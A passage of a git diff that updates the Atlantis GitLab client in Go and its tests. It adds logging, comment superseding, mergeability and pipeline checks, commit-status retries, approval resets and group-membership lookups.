Show Output\n\n" + + "```diff\n" + comments := common.SplitComment(comment, gitlabMaxCommentLength, sepEnd, sepStart, 0, "") + for _, c := range comments { + _, resp, err := g.Client.Notes.CreateMergeRequestNote(repo.FullName, pullNum, &gitlab.CreateMergeRequestNoteOptions{Body: gitlab.Ptr(c)}) + if resp != nil { + logger.Debug("POST /projects/%s/merge_requests/%d/notes returned: %d", repo.FullName, pullNum, resp.StatusCode) + } + if err != nil { + return err + } + } + return nil +} + +// ReactToComment adds a reaction to a comment. +func (g *GitlabClient) ReactToComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, commentID int64, reaction string) error { + logger.Debug("Adding reaction '%s' to comment %d on GitLab merge request %d", reaction, commentID, pullNum) + _, resp, err := g.Client.AwardEmoji.CreateMergeRequestAwardEmojiOnNote(repo.FullName, pullNum, int(commentID), &gitlab.CreateAwardEmojiOptions{Name: reaction}) + if resp != nil { + logger.Debug("POST /projects/%s/merge_requests/%d/notes/%d/award_emoji returned: %d", repo.FullName, pullNum, commentID, resp.StatusCode) + } return err } -func (g *GitlabClient) HidePrevPlanComments(repo models.Repo, pullNum int) error { +func (g *GitlabClient) HidePrevCommandComments(logger logging.SimpleLogging, repo models.Repo, pullNum int, command string, dir string) error { + logger.Debug("Hiding previous command comments on GitLab merge request %d", pullNum) + var allComments []*gitlab.Note + + nextPage := 0 + for { + logger.Debug("/projects/%v/merge_requests/%d/notes", repo.FullName, pullNum) + comments, resp, err := g.Client.Notes.ListMergeRequestNotes(repo.FullName, pullNum, + &gitlab.ListMergeRequestNotesOptions{ + Sort: gitlab.Ptr("asc"), + OrderBy: gitlab.Ptr("created_at"), + ListOptions: gitlab.ListOptions{Page: nextPage}, + }) + if resp != nil { + logger.Debug("GET /projects/%s/merge_requests/%d/notes returned: %d", repo.FullName, pullNum, resp.StatusCode) + } + if err != nil { + return errors.Wrap(err, "listing comments") + } + allComments = append(allComments, comments...) + if resp.NextPage == 0 { + break + } + nextPage = resp.NextPage + } + + currentUser, _, err := g.Client.Users.CurrentUser() + if err != nil { + return errors.Wrap(err, "error getting currentuser") + } + + summaryHeader := fmt.Sprintf("
Superseded Atlantis %s", command) + summaryFooter := "
" + lineFeed := "\n" + + for _, comment := range allComments { + // Only process non-system comments authored by the Atlantis user + if comment.System || (comment.Author.Username != "" && !strings.EqualFold(comment.Author.Username, currentUser.Username)) { + continue + } + + body := strings.Split(comment.Body, "\n") + if len(body) == 0 { + continue + } + firstLine := strings.ToLower(body[0]) + // Skip processing comments that don't contain the command or contain the summary header in the first line + if !strings.Contains(firstLine, strings.ToLower(command)) || firstLine == strings.ToLower(summaryHeader) { + continue + } + + // If dir was specified, skip processing comments that don't contain the dir in the first line + if dir != "" && !strings.Contains(firstLine, strings.ToLower(dir)) { + continue + } + + logger.Debug("Updating merge request note: Repo: '%s', MR: '%d', comment ID: '%d'", repo.FullName, pullNum, comment.ID) + supersededComment := summaryHeader + lineFeed + comment.Body + lineFeed + summaryFooter + lineFeed + + _, resp, err := g.Client.Notes.UpdateMergeRequestNote(repo.FullName, pullNum, comment.ID, &gitlab.UpdateMergeRequestNoteOptions{Body: &supersededComment}) + if resp != nil { + logger.Debug("PUT /projects/%s/merge_requests/%d/notes/%d returned: %d", repo.FullName, pullNum, comment.ID, resp.StatusCode) + } + if err != nil { + return errors.Wrapf(err, "updating comment %d", comment.ID) + } + } + return nil } // PullIsApproved returns true if the merge request was approved. -func (g *GitlabClient) PullIsApproved(repo models.Repo, pull models.PullRequest) (bool, error) { - approvals, _, err := g.Client.MergeRequests.GetMergeRequestApprovals(repo.FullName, pull.Num) +func (g *GitlabClient) PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) (approvalStatus models.ApprovalStatus, err error) { + logger.Debug("Checking if GitLab merge request %d is approved", pull.Num) + approvals, resp, err := g.Client.MergeRequests.GetMergeRequestApprovals(repo.FullName, pull.Num) + if resp != nil { + logger.Debug("GET /projects/%s/merge_requests/%d/approvals returned: %d", repo.FullName, pull.Num, resp.StatusCode) + } if err != nil { - return false, err + return approvalStatus, err } if approvals.ApprovalsLeft > 0 { - return false, nil + return approvalStatus, nil } - return true, nil + return models.ApprovalStatus{ + IsApproved: true, + }, nil } // PullIsMergeable returns true if the merge request can be merged. // In GitLab, there isn't a single field that tells us if the pull request is // mergeable so for now we check the merge_status and approvals_before_merge -// fields. We aren't checking if there are unresolved discussions or failing -// pipelines because those only block merges if the repo is set to require that. +// fields. // In order to check if the repo required these, we'd need to make another API -// call to get the repo settings. For now I'm going to leave this as is and if -// some users require checking this as well then we can revisit. +// call to get the repo settings. // It's also possible that GitLab implements their own "mergeable" field in // their API in the future. // See: // - https://gitlab.com/gitlab-org/gitlab-ee/issues/3169 // - https://gitlab.com/gitlab-org/gitlab-ce/issues/42344 -func (g *GitlabClient) PullIsMergeable(repo models.Repo, pull models.PullRequest) (bool, error) { - mr, _, err := g.Client.MergeRequests.GetMergeRequest(repo.FullName, pull.Num, nil) +func (g *GitlabClient) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, vcsstatusname string, _ []string) (bool, error) { + logger.Debug("Checking if GitLab merge request %d is mergeable", pull.Num) + mr, resp, err := g.Client.MergeRequests.GetMergeRequest(repo.FullName, pull.Num, nil) + if resp != nil { + logger.Debug("GET /projects/%s/merge_requests/%d returned: %d", repo.FullName, pull.Num, resp.StatusCode) + } + if err != nil { + return false, err + } + + // Prevent nil pointer error when mr.HeadPipeline is empty + // See: https://github.com/runatlantis/atlantis/issues/1852 + commit := pull.HeadCommit + isPipelineSkipped := false + if mr.HeadPipeline != nil { + commit = mr.HeadPipeline.SHA + isPipelineSkipped = mr.HeadPipeline.Status == "skipped" + } + + // Get project configuration + project, resp, err := g.Client.Projects.GetProject(mr.ProjectID, nil) + if resp != nil { + logger.Debug("GET /projects/%d returned: %d", mr.ProjectID, resp.StatusCode) + } + if err != nil { + return false, err + } + + // Get Commit Statuses + statuses, _, err := g.Client.Commits.GetCommitStatuses(mr.ProjectID, commit, nil) + if resp != nil { + logger.Debug("GET /projects/%d/commits/%s/statuses returned: %d", mr.ProjectID, commit, resp.StatusCode) + } if err != nil { return false, err } - if mr.MergeStatus == "can_be_merged" && mr.ApprovalsBeforeMerge <= 0 { + + for _, status := range statuses { + // Ignore any commit statuses with 'atlantis/apply' as prefix + if strings.HasPrefix(status.Name, fmt.Sprintf("%s/%s", vcsstatusname, command.Apply.String())) { + continue + } + if !status.AllowFailure && project.OnlyAllowMergeIfPipelineSucceeds && status.Status != "success" { + return false, nil + } + } + + allowSkippedPipeline := project.AllowMergeOnSkippedPipeline && isPipelineSkipped + + supportsDetailedMergeStatus, err := g.SupportsDetailedMergeStatus(logger) + if err != nil { + return false, err + } + + if supportsDetailedMergeStatus { + logger.Debug("Detailed merge status: '%s'", mr.DetailedMergeStatus) + } else { + logger.Debug("Merge status: '%s'", mr.MergeStatus) //nolint:staticcheck // Need to reference deprecated field for backwards compatibility + } + + if ((supportsDetailedMergeStatus && + (mr.DetailedMergeStatus == "mergeable" || + mr.DetailedMergeStatus == "ci_still_running" || + mr.DetailedMergeStatus == "ci_must_pass" || + mr.DetailedMergeStatus == "need_rebase")) || + (!supportsDetailedMergeStatus && + mr.MergeStatus == "can_be_merged")) && //nolint:staticcheck // Need to reference deprecated field for backwards compatibility + mr.ApprovalsBeforeMerge <= 0 && + mr.BlockingDiscussionsResolved && + !mr.WorkInProgress && + (allowSkippedPipeline || !isPipelineSkipped) { + + logger.Debug("Merge request is mergeable") return true, nil } + logger.Debug("Merge request is not mergeable") return false, nil } +func (g *GitlabClient) SupportsDetailedMergeStatus(logger logging.SimpleLogging) (bool, error) { + logger.Debug("Checking if GitLab supports detailed merge status") + v, err := g.GetVersion(logger) + if err != nil { + return false, err + } + + cons, err := version.NewConstraint(">= 15.6") + if err != nil { + return false, err + } + return cons.Check(v), nil +} + // UpdateStatus updates the build status of a commit. -func (g *GitlabClient) UpdateStatus(repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error { - gitlabState := gitlab.Failed +func (g *GitlabClient) UpdateStatus(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error { + gitlabState := gitlab.Pending switch state { case models.PendingCommitStatus: - gitlabState = gitlab.Pending + gitlabState = gitlab.Running case models.FailedCommitStatus: gitlabState = gitlab.Failed case models.SuccessCommitStatus: gitlabState = gitlab.Success } - _, _, err := g.Client.Commits.SetCommitStatus(repo.FullName, pull.HeadCommit, &gitlab.SetCommitStatusOptions{ + + logger.Info("Updating GitLab commit status for '%s' to '%s'", src, gitlabState) + + setCommitStatusOptions := &gitlab.SetCommitStatusOptions{ State: gitlabState, - Context: gitlab.String(src), - Description: gitlab.String(description), + Context: gitlab.Ptr(src), + Description: gitlab.Ptr(description), TargetURL: &url, - }) - return err + } + + retries := 1 + delay := 2 * time.Second + var commit *gitlab.Commit + var resp *gitlab.Response + var err error + + // Try a couple of times to get the pipeline ID for the commit + for i := 0; i <= retries; i++ { + commit, resp, err = g.Client.Commits.GetCommit(repo.FullName, pull.HeadCommit, nil) + if resp != nil { + logger.Debug("GET /projects/%s/repository/commits/%d: %d", pull.BaseRepo.ID(), pull.HeadCommit, resp.StatusCode) + } + if err != nil { + return err + } + if commit.LastPipeline != nil { + logger.Info("Pipeline found for commit %s, setting pipeline ID to %d", pull.HeadCommit, commit.LastPipeline.ID) + // Set the pipeline ID to the last pipeline that ran for the commit + setCommitStatusOptions.PipelineID = gitlab.Ptr(commit.LastPipeline.ID) + break + } + if i != retries { + logger.Info("No pipeline found for commit %s, retrying in %s", pull.HeadCommit, delay) + time.Sleep(delay) + } else { + // If we've exhausted all retries, set the Ref to the branch name + logger.Info("No pipeline found for commit %s, setting Ref to %s", pull.HeadCommit, pull.HeadBranch) + setCommitStatusOptions.Ref = gitlab.Ptr(pull.HeadBranch) + } + } + + var ( + maxAttempts = 10 + retryer = &backoff.Backoff{ + Jitter: true, + Max: g.PollingInterval, + } + ) + + for { + attempt := int(retryer.Attempt()) + 1 + logger := logger.With( + "attempt", attempt, + "max_attempts", maxAttempts, + "repo", repo.FullName, + "commit", commit.ShortID, + "state", state.String(), + ) + + _, resp, err := g.Client.Commits.SetCommitStatus(repo.FullName, pull.HeadCommit, setCommitStatusOptions) + if err == nil { + if retryer.Attempt() > 0 { + logger.Info("GitLab returned HTTP [200 OK] after updating commit status") + } + + return nil + } + if attempt == maxAttempts { + return errors.Wrap(err, fmt.Sprintf("failed to update commit status for '%s' @ '%s' to '%s' after %d attempts", repo.FullName, pull.HeadCommit, src, attempt)) + } + + if resp != nil { + logger.Debug("POST /projects/%s/statuses/%s returned: %d", repo.FullName, pull.HeadCommit, resp.StatusCode) + + // GitLab returns a `409 Conflict` status when the commit pipeline status is being changed/locked by another request, + // which is likely to happen if you use [`--parallel-pool-size > 1`] and [`parallel-plan|apply`]. + // + // The likelihood of this happening is increased when the number of parallel apply jobs is increased. + // + // Returning the [err] without retrying will permanently leave the GitLab commit status in a "running" state, + // which would prevent Atlantis from merging the merge request on [apply]. + // + // GitLab does not allow merge requests to be merged when the pipeline status is "running." + + if resp.StatusCode == http.StatusConflict { + logger.Warn("GitLab returned HTTP [409 Conflict] when updating commit status") + } + } + + sleep := retryer.Duration() + + logger.With("retry_in", sleep).Warn("GitLab errored when updating commit status: %w", err) + time.Sleep(sleep) + } } -func (g *GitlabClient) GetMergeRequest(repoFullName string, pullNum int) (*gitlab.MergeRequest, error) { - mr, _, err := g.Client.MergeRequests.GetMergeRequest(repoFullName, pullNum, nil) +func (g *GitlabClient) GetMergeRequest(logger logging.SimpleLogging, repoFullName string, pullNum int) (*gitlab.MergeRequest, error) { + logger.Debug("Getting GitLab merge request %d", pullNum) + mr, resp, err := g.Client.MergeRequests.GetMergeRequest(repoFullName, pullNum, nil) + if resp != nil { + logger.Debug("GET /projects/%s/merge_requests/%d returned: %d", repoFullName, pullNum, resp.StatusCode) + } return mr, err } +func (g *GitlabClient) WaitForSuccessPipeline(logger logging.SimpleLogging, ctx context.Context, pull models.PullRequest) { + logger.Debug("Waiting for GitLab success pipeline for merge request %d", pull.Num) + ctx, cancel := context.WithTimeout(ctx, 10*time.Second) + defer cancel() + + for wait := true; wait; { + select { + case <-ctx.Done(): + // validation check time out + cancel() + return // ctx.Err() + + default: + mr, _ := g.GetMergeRequest(logger, pull.BaseRepo.FullName, pull.Num) + // check if pipeline has a success state to merge + if mr.HeadPipeline.Status == "success" { + return + } + time.Sleep(time.Second) + } + } +} + // MergePull merges the merge request. -func (g *GitlabClient) MergePull(pull models.PullRequest) error { - commitMsg := common.AutomergeCommitMsg - _, _, err := g.Client.MergeRequests.AcceptMergeRequest( +func (g *GitlabClient) MergePull(logger logging.SimpleLogging, pull models.PullRequest, pullOptions models.PullRequestOptions) error { + logger.Debug("Merging GitLab merge request %d", pull.Num) + commitMsg := common.AutomergeCommitMsg(pull.Num) + + mr, err := g.GetMergeRequest(logger, pull.BaseRepo.FullName, pull.Num) + if err != nil { + return errors.Wrap(err, "unable to merge merge request, it was not possible to retrieve the merge request") + } + project, resp, err := g.Client.Projects.GetProject(mr.ProjectID, nil) + if resp != nil { + logger.Debug("GET /projects/%d returned: %d", mr.ProjectID, resp.StatusCode) + } + if err != nil { + return errors.Wrap(err, "unable to merge merge request, it was not possible to check the project requirements") + } + + if project != nil && project.OnlyAllowMergeIfPipelineSucceeds { + g.WaitForSuccessPipeline(logger, context.Background(), pull) + } + + _, resp, err = g.Client.MergeRequests.AcceptMergeRequest( pull.BaseRepo.FullName, pull.Num, &gitlab.AcceptMergeRequestOptions{ - MergeCommitMessage: &commitMsg, + MergeCommitMessage: &commitMsg, + ShouldRemoveSourceBranch: &pullOptions.DeleteSourceBranchOnMerge, }) - return errors.Wrap(err, "unable to merge merge request, it may not be in a mergeable state") + if resp != nil { + logger.Debug("PUT /projects/%s/merge_requests/%d/merge returned: %d", pull.BaseRepo.FullName, pull.Num, resp.StatusCode) + } + if err != nil { + return errors.Wrap(err, "unable to merge merge request, it may not be in a mergeable state") + } + return nil } // MarkdownPullLink specifies the string used in a pull request comment to reference another pull request. @@ -230,14 +577,29 @@ func (g *GitlabClient) MarkdownPullLink(pull models.PullRequest) (string, error) return fmt.Sprintf("!%d", pull.Num), nil } -// GetVersion returns the version of the Gitlab server this client is using. -func (g *GitlabClient) GetVersion() (*version.Version, error) { - req, err := g.Client.NewRequest("GET", "/version", nil, nil) +// DiscardReviews discards all reviews on a pull request +// This is only available with a bot token and otherwise will return 401 unauthorized +// https://docs.gitlab.com/api/merge_request_approvals/#reset-approvals-of-a-merge-request +func (g *GitlabClient) DiscardReviews(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error { + logger.Debug("Reset approvals for merge request %d", pull.Num) + resp, err := g.Client.MergeRequestApprovals.ResetApprovalsOfMergeRequest(repo.FullName, pull.Num) + if resp != nil { + logger.Debug("PUT /projects/%s/merge_requests/%d/reset_approvals returned: %d", repo.FullName, pull.Num, resp.StatusCode) + } if err != nil { - return nil, err + return errors.Wrap(err, "unable to reset approvals") + } + + return nil +} + +// GetVersion returns the version of the Gitlab server this client is using. +func (g *GitlabClient) GetVersion(logger logging.SimpleLogging) (*version.Version, error) { + logger.Debug("Getting GitLab version") + versionResp, resp, err := g.Client.Version.GetVersion() + if resp != nil { + logger.Debug("GET /version returned: %d", resp.StatusCode) } - versionResp := new(gitlab.Version) - _, err = g.Client.Do(req, versionResp) if err != nil { return nil, err } @@ -273,14 +635,53 @@ func MustConstraint(constraint string) version.Constraints { return c } -// DownloadRepoConfigFile return `atlantis.yaml` content from VCS (which support fetch a single file from repository) -// The first return value indicate that repo contain atlantis.yaml or not -// if BaseRepo had one repo config file, its content will placed on the second return value -func (g *GitlabClient) DownloadRepoConfigFile(pull models.PullRequest) (bool, []byte, error) { - opt := gitlab.GetRawFileOptions{Ref: gitlab.String(pull.HeadBranch)} +// GetTeamNamesForUser returns the names of the GitLab groups that the user belongs to. +// The user membership is checked in each group from configuredTeams, groups +// that the Atlantis user doesn't have access to are silently ignored. +func (g *GitlabClient) GetTeamNamesForUser(logger logging.SimpleLogging, _ models.Repo, user models.User) ([]string, error) { + logger.Debug("Getting GitLab group names for user '%s'", user) + var teamNames []string - bytes, resp, err := g.Client.RepositoryFiles.GetRawFile(pull.BaseRepo.FullName, yaml.AtlantisYAMLFilename, &opt) + users, resp, err := g.Client.Users.ListUsers(&gitlab.ListUsersOptions{Username: &user.Username}) if resp.StatusCode == http.StatusNotFound { + return teamNames, nil + } + if err != nil { + return nil, errors.Wrapf(err, "GET /users returned: %d", resp.StatusCode) + } else if len(users) == 0 { + return nil, errors.New("GET /users returned no user") + } else if len(users) > 1 { + // Theoretically impossible, just being extra safe + return nil, errors.New("GET /users returned more than 1 user") + } + userID := users[0].ID + for _, groupName := range g.ConfiguredGroups { + membership, resp, err := g.Client.GroupMembers.GetGroupMember(groupName, userID) + if resp.StatusCode == http.StatusNotFound || resp.StatusCode == http.StatusForbidden { + continue + } + if err != nil { + return nil, errors.Wrapf(err, "GET /groups/%s/members/%d returned: %d", groupName, userID, resp.StatusCode) + } + if resp.StatusCode == http.StatusOK && membership.State == "active" { + teamNames = append(teamNames, groupName) + } + } + return teamNames, nil +} + +// GetFileContent a repository file content from VCS (which support fetch a single file from repository) +// The first return value indicates whether the repo contains a file or not +// if BaseRepo had a file, its content will placed on the second return value +func (g *GitlabClient) GetFileContent(logger logging.SimpleLogging, pull models.PullRequest, fileName string) (bool, []byte, error) { + logger.Debug("Getting GitLab file content for file '%s'", fileName) + opt := gitlab.GetRawFileOptions{Ref: gitlab.Ptr(pull.HeadBranch)} + + bytes, resp, err := g.Client.RepositoryFiles.GetRawFile(pull.BaseRepo.FullName, fileName, &opt) + if resp != nil { + logger.Debug("GET /projects/%s/repository/files/%s/raw returned: %d", pull.BaseRepo.FullName, fileName, resp.StatusCode) + } + if resp != nil && resp.StatusCode == http.StatusNotFound { return false, []byte{}, nil } @@ -291,6 +692,32 @@ func (g *GitlabClient) DownloadRepoConfigFile(pull models.PullRequest) (bool, [] return true, bytes, nil } -func (g *GitlabClient) SupportsSingleFileDownload(repo models.Repo) bool { +func (g *GitlabClient) SupportsSingleFileDownload(_ models.Repo) bool { return true } + +func (g *GitlabClient) GetCloneURL(logger logging.SimpleLogging, _ models.VCSHostType, repo string) (string, error) { + logger.Debug("Getting GitLab clone URL for repo '%s'", repo) + project, resp, err := g.Client.Projects.GetProject(repo, nil) + if resp != nil { + logger.Debug("GET /projects/%s returned: %d", repo, resp.StatusCode) + } + if err != nil { + return "", err + } + return project.HTTPURLToRepo, nil +} + +func (g *GitlabClient) GetPullLabels(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) { + logger.Debug("Getting GitLab labels for merge request %d", pull.Num) + mr, resp, err := g.Client.MergeRequests.GetMergeRequest(repo.FullName, pull.Num, nil) + if resp != nil { + logger.Debug("GET /projects/%s/merge_requests/%d returned: %d", repo.FullName, pull.Num, resp.StatusCode) + } + + if err != nil { + return nil, err + } + + return mr.Labels, nil +} diff --git a/server/events/vcs/gitlab_client_test.go b/server/events/vcs/gitlab_client_test.go index 7e9b10abe7..6931830121 100644 --- a/server/events/vcs/gitlab_client_test.go +++ b/server/events/vcs/gitlab_client_test.go @@ -1,23 +1,62 @@ package vcs import ( + "encoding/json" "fmt" - "io/ioutil" "net/http" "net/http/httptest" + "os" + "path" + "strings" "testing" + "time" - version "github.com/hashicorp/go-version" + "github.com/hashicorp/go-version" + "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" - gitlab "github.com/xanzy/go-gitlab" + "github.com/runatlantis/atlantis/server/logging" + gitlab "gitlab.com/gitlab-org/api/client-go" . "github.com/runatlantis/atlantis/testing" ) +var projectID = 4580910 + +const gitlabPipelineSuccessMrID = 488598 + +const updateStatusDescription = "description" +const updateStatusTargetUrl = "https://google.com" +const updateStatusSrc = "src" +const updateStatusHeadBranch = "test" + +/* UpdateStatus request JSON body object */ +type UpdateStatusJsonBody struct { + State string `json:"state"` + Context string `json:"context"` + TargetUrl string `json:"target_url"` + Description string `json:"description"` + PipelineId int `json:"pipeline_id"` + Ref string `json:"ref"` +} + +/* GetCommit response last_pipeline JSON object */ +type GetCommitResponseLastPipeline struct { + ID int `json:"id"` +} + +/* GetCommit response JSON object */ +type GetCommitResponse struct { + LastPipeline GetCommitResponseLastPipeline `json:"last_pipeline"` +} + +/* Empty struct for JSON marshalling */ +type EmptyStruct struct{} + // Test that the base url gets set properly. func TestNewGitlabClient_BaseURL(t *testing.T) { gitlabClientUnderTest = true defer func() { gitlabClientUnderTest = false }() + cases := []struct { Hostname string ExpBaseURL string @@ -54,7 +93,8 @@ func TestNewGitlabClient_BaseURL(t *testing.T) { for _, c := range cases { t.Run(c.Hostname, func(t *testing.T) { - client, err := NewGitlabClient(c.Hostname, "token", nil) + log := logging.NewNoopLogger(t) + client, err := NewGitlabClient(c.Hostname, "token", []string{}, log) Ok(t, err) Equals(t, c.ExpBaseURL, client.Client.BaseURL().String()) }) @@ -103,10 +143,86 @@ func TestGitlabClient_SupportsCommonMark(t *testing.T) { } } +func TestGitlabClient_GetModifiedFiles(t *testing.T) { + logger := logging.NewNoopLogger(t) + cases := []struct { + attempts int + }{ + {1}, {2}, {3}, + } + + changesPending, err := os.ReadFile("testdata/gitlab-changes-pending.json") + Ok(t, err) + + changesAvailable, err := os.ReadFile("testdata/gitlab-changes-available.json") + Ok(t, err) + + for _, c := range cases { + t.Run(fmt.Sprintf("Gitlab returns MR changes after %d attempts", c.attempts), func(t *testing.T) { + numAttempts := 0 + testServer := httptest.NewServer( + http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.RequestURI { + case "/api/v4/projects/lkysow%2Fatlantis-example/merge_requests/8312/changes?page=1&per_page=100": + w.WriteHeader(200) + numAttempts++ + if numAttempts < c.attempts { + w.Write(changesPending) // nolint: errcheck + t.Logf("returning changesPending for attempt %d", numAttempts) + return + } + t.Logf("returning changesAvailable for attempt %d", numAttempts) + w.Write(changesAvailable) // nolint: errcheck + default: + t.Errorf("got unexpected request at %q", r.RequestURI) + http.Error(w, "not found", http.StatusNotFound) + } + })) + + internalClient, err := gitlab.NewClient("token", gitlab.WithBaseURL(testServer.URL)) + Ok(t, err) + client := &GitlabClient{ + Client: internalClient, + Version: nil, + PollingInterval: time.Second * 0, + PollingTimeout: time.Second * 10, + } + + filenames, err := client.GetModifiedFiles( + logger, + models.Repo{ + FullName: "lkysow/atlantis-example", + Owner: "lkysow", + Name: "atlantis-example", + }, + models.PullRequest{ + Num: 8312, + BaseRepo: models.Repo{ + FullName: "lkysow/atlantis-example", + Owner: "lkysow", + Name: "atlantis-example", + }, + }) + Ok(t, err) + Equals(t, []string{"somefile.yaml"}, filenames) + }) + } +} + func TestGitlabClient_MergePull(t *testing.T) { + logger := logging.NewNoopLogger(t) + mergeSuccess, err := os.ReadFile("testdata/github-pull-request.json") + Ok(t, err) + + pipelineSuccess, err := os.ReadFile("testdata/gitlab-pipeline-success.json") + Ok(t, err) + + projectSuccess, err := os.ReadFile("testdata/gitlab-project-success.json") + Ok(t, err) + cases := []struct { description string - glResponse string + glResponse []byte code int expErr string }{ @@ -118,13 +234,13 @@ func TestGitlabClient_MergePull(t *testing.T) { }, { "405", - `{"message":"405 Method Not Allowed"}`, + []byte(`{"message":"405 Method Not Allowed"}`), 405, "405 {message: 405 Method Not Allowed}", }, { "406", - `{"message":"406 Branch cannot be merged"}`, + []byte(`{"message":"406 Branch cannot be merged"}`), 406, "406 {message: 406 Branch cannot be merged}", }, @@ -138,7 +254,13 @@ func TestGitlabClient_MergePull(t *testing.T) { // The first request should hit this URL. case "/api/v4/projects/runatlantis%2Fatlantis/merge_requests/1/merge": w.WriteHeader(c.code) - w.Write([]byte(c.glResponse)) // nolint: errcheck + w.Write(c.glResponse) // nolint: errcheck + case "/api/v4/projects/runatlantis%2Fatlantis/merge_requests/1": + w.WriteHeader(http.StatusOK) + w.Write(pipelineSuccess) // nolint: errcheck + case "/api/v4/projects/4580910": + w.WriteHeader(http.StatusOK) + w.Write(projectSuccess) // nolint: errcheck case "/api/v4/": // Rate limiter requests. w.WriteHeader(http.StatusOK) @@ -155,14 +277,18 @@ func TestGitlabClient_MergePull(t *testing.T) { Version: nil, } - err = client.MergePull(models.PullRequest{ - Num: 1, - BaseRepo: models.Repo{ - FullName: "runatlantis/atlantis", - Owner: "runatlantis", - Name: "atlantis", - }, - }) + err = client.MergePull( + logger, + models.PullRequest{ + Num: 1, + BaseRepo: models.Repo{ + FullName: "runatlantis/atlantis", + Owner: "runatlantis", + Name: "atlantis", + }, + }, models.PullRequestOptions{ + DeleteSourceBranchOnMerge: false, + }) if c.expErr == "" { Ok(t, err) } else { @@ -174,13 +300,15 @@ func TestGitlabClient_MergePull(t *testing.T) { } func TestGitlabClient_UpdateStatus(t *testing.T) { + logger := logging.NewNoopLogger(t) + cases := []struct { status models.CommitStatus expState string }{ { models.PendingCommitStatus, - "pending", + "running", }, { models.SuccessCommitStatus, @@ -200,15 +328,42 @@ func TestGitlabClient_UpdateStatus(t *testing.T) { case "/api/v4/projects/runatlantis%2Fatlantis/statuses/sha": gotRequest = true - body, err := ioutil.ReadAll(r.Body) + var updateStatusJsonBody UpdateStatusJsonBody + err := json.NewDecoder(r.Body).Decode(&updateStatusJsonBody) Ok(t, err) - exp := fmt.Sprintf(`{"state":"%s","context":"src","target_url":"https://google.com","description":"description"}`, c.expState) - Equals(t, exp, string(body)) - defer r.Body.Close() // nolint: errcheck - w.Write([]byte("{}")) // nolint: errcheck + + Equals(t, c.expState, updateStatusJsonBody.State) + Equals(t, updateStatusSrc, updateStatusJsonBody.Context) + Equals(t, updateStatusTargetUrl, updateStatusJsonBody.TargetUrl) + Equals(t, updateStatusDescription, updateStatusJsonBody.Description) + Equals(t, gitlabPipelineSuccessMrID, updateStatusJsonBody.PipelineId) + + defer r.Body.Close() // nolint: errcheck + + setStatusJsonResponse, err := json.Marshal(EmptyStruct{}) + Ok(t, err) + + _, err = w.Write(setStatusJsonResponse) + Ok(t, err) + + case "/api/v4/projects/runatlantis%2Fatlantis/repository/commits/sha": + w.WriteHeader(http.StatusOK) + + getCommitResponse := GetCommitResponse{ + LastPipeline: GetCommitResponseLastPipeline{ + ID: gitlabPipelineSuccessMrID, + }, + } + getCommitJsonResponse, err := json.Marshal(getCommitResponse) + Ok(t, err) + + _, err = w.Write(getCommitJsonResponse) + Ok(t, err) + case "/api/v4/": // Rate limiter requests. w.WriteHeader(http.StatusOK) + default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) @@ -227,21 +382,512 @@ func TestGitlabClient_UpdateStatus(t *testing.T) { Owner: "runatlantis", Name: "atlantis", } - err = client.UpdateStatus(repo, models.PullRequest{ - Num: 1, - BaseRepo: repo, - HeadCommit: "sha", - }, c.status, "src", "description", "https://google.com") + err = client.UpdateStatus( + logger, + repo, + models.PullRequest{ + Num: 1, + BaseRepo: repo, + HeadCommit: "sha", + HeadBranch: updateStatusHeadBranch, + }, + c.status, + updateStatusSrc, + updateStatusDescription, + updateStatusTargetUrl, + ) Ok(t, err) Assert(t, gotRequest, "expected to get the request") }) } } +func TestGitlabClient_UpdateStatusGetCommitRetryable(t *testing.T) { + logger := logging.NewNoopLogger(t) + + cases := []struct { + title string + status models.CommitStatus + commitsWithNoLastPipeline int + expNumberOfRequests int + expRefOrPipelineId string + }{ + // Ensure that GetCommit with last pipeline id sets the pipeline id. + { + title: "GetCommit with a pipeline id", + status: models.PendingCommitStatus, + commitsWithNoLastPipeline: 0, + expNumberOfRequests: 1, + expRefOrPipelineId: "PipelineId", + }, + // Ensure that 1 x GetCommit with no pipelines sets the pipeline id. + { + title: "1 x GetCommit with no last pipeline id", + status: models.PendingCommitStatus, + commitsWithNoLastPipeline: 1, + expNumberOfRequests: 2, + expRefOrPipelineId: "PipelineId", + }, + // Ensure that 2 x GetCommit with no last pipeline id sets the ref. + { + title: "2 x GetCommit with no last pipeline id", + status: models.PendingCommitStatus, + commitsWithNoLastPipeline: 2, + expNumberOfRequests: 2, + expRefOrPipelineId: "Ref", + }, + } + + for _, c := range cases { + t.Run(c.title, func(t *testing.T) { + handledNumberOfRequests := 0 + + testServer := httptest.NewServer( + http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.RequestURI { + case "/api/v4/projects/runatlantis%2Fatlantis/statuses/sha": + var updateStatusJsonBody UpdateStatusJsonBody + err := json.NewDecoder(r.Body).Decode(&updateStatusJsonBody) + Ok(t, err) + + Equals(t, "running", updateStatusJsonBody.State) + Equals(t, updateStatusSrc, updateStatusJsonBody.Context) + Equals(t, updateStatusTargetUrl, updateStatusJsonBody.TargetUrl) + Equals(t, updateStatusDescription, updateStatusJsonBody.Description) + if c.expRefOrPipelineId == "Ref" { + Equals(t, updateStatusHeadBranch, updateStatusJsonBody.Ref) + } else { + Equals(t, gitlabPipelineSuccessMrID, updateStatusJsonBody.PipelineId) + } + + defer r.Body.Close() + + getCommitJsonResponse, err := json.Marshal(EmptyStruct{}) + Ok(t, err) + + _, err = w.Write(getCommitJsonResponse) + Ok(t, err) + + case "/api/v4/projects/runatlantis%2Fatlantis/repository/commits/sha": + handledNumberOfRequests++ + noCommitLastPipeline := handledNumberOfRequests <= c.commitsWithNoLastPipeline + + w.WriteHeader(http.StatusOK) + if noCommitLastPipeline { + getCommitJsonResponse, err := json.Marshal(EmptyStruct{}) + Ok(t, err) + + _, err = w.Write(getCommitJsonResponse) + Ok(t, err) + } 